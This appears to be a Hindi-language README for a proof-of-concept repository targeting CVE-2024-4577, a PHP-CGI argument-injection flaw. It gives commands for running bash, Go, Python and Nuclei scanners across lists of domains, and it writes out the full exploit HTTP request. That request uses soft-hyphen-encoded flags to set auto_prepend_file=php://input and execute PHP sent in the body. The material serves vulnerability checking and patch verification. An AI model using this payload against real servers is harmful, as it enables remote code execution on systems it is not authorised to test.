
PHP RCE PoC CVE-2024-4577 के लिए bash, go, python और एक nuclei template में लिखा गया है
यह रिपॉजिटरी CVE-2024-4577 कमजोरी की जांच के लिए स्क्रिप्ट्स रखती है, जो PHP-CGI में एक तर्क इंजेक्शन समस्या है। आप इस कमजोरी के लिए डोमेन की सूची का परीक्षण करने के लिए दी गई Bash, Go, और Python स्क्रिप्ट्स का उपयोग कर सकते हैं। मैंने एक Nuclei YAML फ़ाइल भी जारी की है।
Bash स्क्रिप्ट का उपयोग करने के लिए, निम्न कमांड चलाएँ:
./CVE-2024-4577.sh /path/to/domains-list
पहले, Go स्क्रिप्ट को CVE-2024-4577.go नामक फ़ाइल में सहेजें। Go स्क्रिप्ट को बनाने और चलाने के लिए:
Go स्क्रिप्ट को बाइनरी में संकलित करें:
go build -o CVE-2024-4577 CVE-2024-4577.go
बाइनरी को डोमेन सूची फ़ाइल के तर्क के साथ निष्पादित करें:
./CVE-2024-4577 /path/to/domains-list
पहले, Python स्क्रिप्ट को CVE-2024-4577.py नामक फ़ाइल में सहेजें। Python स्क्रिप्ट को चलाने के लिए:
सुनिश्चित करें कि आपके पास requests लाइब्रेरी स्थापित है:
pip install requests
Python स्क्रिप्ट को डोमेन सूची फ़ाइल के तर्क के साथ निष्पादित करें:
python CVE-2024-4577.py /path/to/domains-list
(वैकल्पिक) यदि आप केवल कमजोर होस्ट प्रिंट करना चाहते हैं:
python CVE-2024-4577.py /path/to/domains-list --quiet
मैन्युअल रूप से कमजोरी का परीक्षण करने के लिए, आप निम्न POST अनुरोध भेज सकते हैं:
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php phpinfo(); ?>
मैंने कमजोर उदाहरणों को स्कैन करने के लिए एक Nuclei टेम्पलेट भी बनाया है, यह v3 लेआउट योजना का उपयोग करता है और प्रयोगशाला वातावरण में परीक्षण किया गया है:
nuclei -t CVE-2024-4577.yaml -u <target-url>
डोमेन की सूची में http/https जोड़ा जाना चाहिए ताकि वे सही ढंग से पढ़े जाएं।
http://example.com
http://testsite.com
http://vulnerablesite.com
यदि कोई डोमेन कमजोर पाया जाता है, तो आउटपुट होगा:
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable